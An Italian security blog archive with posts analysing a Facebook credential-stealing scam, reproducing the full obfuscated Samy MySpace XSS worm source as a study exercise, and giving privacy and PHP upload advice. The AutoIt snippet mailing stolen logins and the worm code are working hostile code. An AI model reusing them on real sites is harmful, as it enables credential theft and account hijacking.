Archive for the ‘ Sicurezza ’ Category

Facebook Owner, attenzione al virus

Ieri mi sono trovato questo messaggio su un post del blog:

Autore: luca (IP: xxx)
E-mail: xxx
Commento:
Provate questo funziona ancoraaaaaaaaaaa!!! xD sfrutta un bug nel
db di fB ;) http://FacebookOwner.fileave.com/Facebook Owner.rar

Incuriosito, ho subito provato il programma in un ambiente protetto, come ormai ho imparato a fare in questo genere situazioni. All’apertura mi chiedeva dati di login di Facebook. L’interfaccia scarna puzzava di scam in ogni suo più piccolo dettaglio:

A questo punto ho creato un account Facebook fasullo e ho provato ad inserirlo: errore login ogni volta che provavo a premere invio.

Dopo qualche ora di disassembling (sto diventando lento, ma dopotutto era tanto che non facevo nulla) sono arrivato a decompilare il codice, AutoIT.

Risparmiandovi grossa parte del codice, vi estraggo una parte interessante:

$SMTPSERVER = "mail.libero.it"
$FROMNAME = @ComputerName
$FROMADDRESS = "ugofb@gmail.com"
$TOADDRESS = "ugopoli2@gmail.com"
$RC = _INETSMTPMAILCOM($SMTPSERVER, $FROMNAME, $FROMADDRESS, $TOADDRESS, $SUBJECT, $BODY, $ATTACHFILES, $IMPORTANCE, $USERNAME, $PASSWORD, $IPPORT, $SSL)

dove $BODY contiene anche tutte gli user e pass provati.

Non mi sono fermato! A presto con la seconda parte =)

FacebookDeliciousTwitterStumbleUponGoogle ReaderOrkutGoogle BookmarksMySpaceSlashdotTechnorati FavoritesYahoo BookmarksLinkedInBlogger PostNetlogTumblrDiggFriendFeedShare

Myspace old XSS virus

A volte anche un vecchio worm js può risultare utile a livello didattico, anche per capire come sia difficile limitare i danni di eventuali falle XSS.

La sfida è semplice, ecco il codice:

<div id=mycode style="BACKGROUND: url('java<br /> script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td> <p>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> 

Il codice permetteva di guadagnare velocemente amici su MySpace, tanto da meritarsi una pagina su wikipedia.

Se avete problemi nell’analisi, ecco il link di riferimento per l’analisi. Qui, invece, è disponibile la storia di questo bug.

FacebookDeliciousTwitterStumbleUponGoogle ReaderOrkutGoogle BookmarksMySpaceSlashdotTechnorati FavoritesYahoo BookmarksLinkedInBlogger PostNetlogTumblrDiggFriendFeedShare

Impostazioni Privacy Facebook

Una volta registrati a Facebook la privacy dei nostri dati è messa a dura prova. Il rischio maggiore è sicuramente il temuto upgrade di sistema che, di tanto in tanto, viene attuato dai tecnici dell’azienda di Palo Alto. Molto spesso questo vuol dire che le impostazioni relative alla privacy che abbiamo configurato poco tempo fa non sono piu valide ed è tutto da risistemare il prima possibile.

Uno strumento appena nato ma molto efficace per controllare velocemente se le impostazioni del nostro profilo sono “buone” è ReclaimPrivacy.

Il funzionamento è molto semplice:

una volta visitato il sito http://www.reclaimprivacy.org/ è sufficiente aggiungere ai nostri segnalibri il link indicato dalla scritta Scan for Privacy.

A questo punto ci basterà accedere alla home page di facebook e quindi premere sul link per ricevere un report globale ed eventualmente alcuni suggerimenti efficaci su come migliorare determinate impostazioni.

Avendo a disposizione anche il codice sorgente di questo script possiamo verificarne facilmente la sua affidabilità: i dati che andrà a verificare non verranno comunicati a nessuno.

FacebookDeliciousTwitterStumbleUponGoogle ReaderOrkutGoogle BookmarksMySpaceSlashdotTechnorati FavoritesYahoo BookmarksLinkedInBlogger PostNetlogTumblrDiggFriendFeedShare

Piattaforma di simulazione attacchi e studio minacce

Da pochi giorni è disponibile gratuitamente sotto licenza GPL FDL v1.3 un libro scritto da Olu Akindeinde dal titolo

ATTACK SIMULATION AND THREAT MODELING.

Struttura

Il libro si divide in quattro parti.

1. Vettori di attacco

Descrive e classifica i vari metodi usati per compromettere la sicurezza di un sistema informatico ed evidenzia il ruolo che errori, bug, falle e altri fattori ricoprono.

2. Simulazione di attacco

A sua volta diviso in:

  • Laboratorio Virtuale
  • Identificazione degli attacchi (IDS)
  • Raccolta delle informazioni di identificazione (Honeypots, ecc.)

Descrive la preparazione del laboratorio virtuale, implementandolo su VMware, VirtualBox e Qemu. Successivamente l’IDS e la sua configurazione. Infine la rilevazione di attacchi negli Honeypots e nelle Honeynets, parlando di usi e tipologie.

3. Analisi dell’attacco

A sua volta diviso in:

  • Analisi del comportamento
  • Correlazione tra attacchi

Descrive anzitutto i modi di propagazione delle minacce e i tool a disposizione per catturare questi comportamenti e mostrare i dati raccolti. Successivamente descrive le tecnologie per mostrare e filtrare eventi correlati, aggregandoli e memorizzandoli.

4. Modellazione dell’attacco

L’ultima parte parla di riconoscimento di pattern.

Conclusioni

Si tratta quindi di un libro molto completo e strettamente legato alla praticità e ai problemi reali che si affrontano in questo settore. Per chi volesse approfondire, lo stesso autore ha messo a disposizione sotto GPL anche un altro libro,  Security Analysis and Data Visualization, che potete scaricare da qui o da qui.

Download

Potete scaricarlo dal sito ufficiale a questo indirizzo:

http://inverse.com.ng/book2/Attack_Simulation_and_Threat_Modeling.pdf

o (nel caso non fosse disponibile) da questo server cliccando qui.

FacebookDeliciousTwitterStumbleUponGoogle ReaderOrkutGoogle BookmarksMySpaceSlashdotTechnorati FavoritesYahoo BookmarksLinkedInBlogger PostNetlogTumblrDiggFriendFeedShare

Upload sicuri con PHP

Il caricamento di file su un server è una delle maggiori fonti di insicurezza per i siti web.

Il documento che riporto, scritto da Alla Bezroutchko (ingegnere della sicurezza presso Scanit e persona presente da vari anni nel mondo della sicurezza con molti bug disclosures a proprio nome), rappresenta un vero vademecum per il caricamento tramite PHP.

Link originale:

http://www.scanit.be/uploads/php-file-upload.pdf

Se non funzionante, accedi direttamente al file cliccando qui.

Personalmente, oltre ai soliti consigli, raccomando sempre di usare per i file caricati un nome casuale, associato a quello del file caricato tramite php. Quando possibile, posizionare i file fuori dalle directory accessibili (o bloccarne l’accesso diretto tramite le configurazioni di Apache) e accederne tramite php. Quando non possibile, controllare il contenuto dei file caricati, bloccare l’esecuzione di script nella cartella dedicata all’upload, verificare accuratamente le impostazioni di apache.

FacebookDeliciousTwitterStumbleUponGoogle ReaderOrkutGoogle BookmarksMySpaceSlashdotTechnorati FavoritesYahoo BookmarksLinkedInBlogger PostNetlogTumblrDiggFriendFeedShare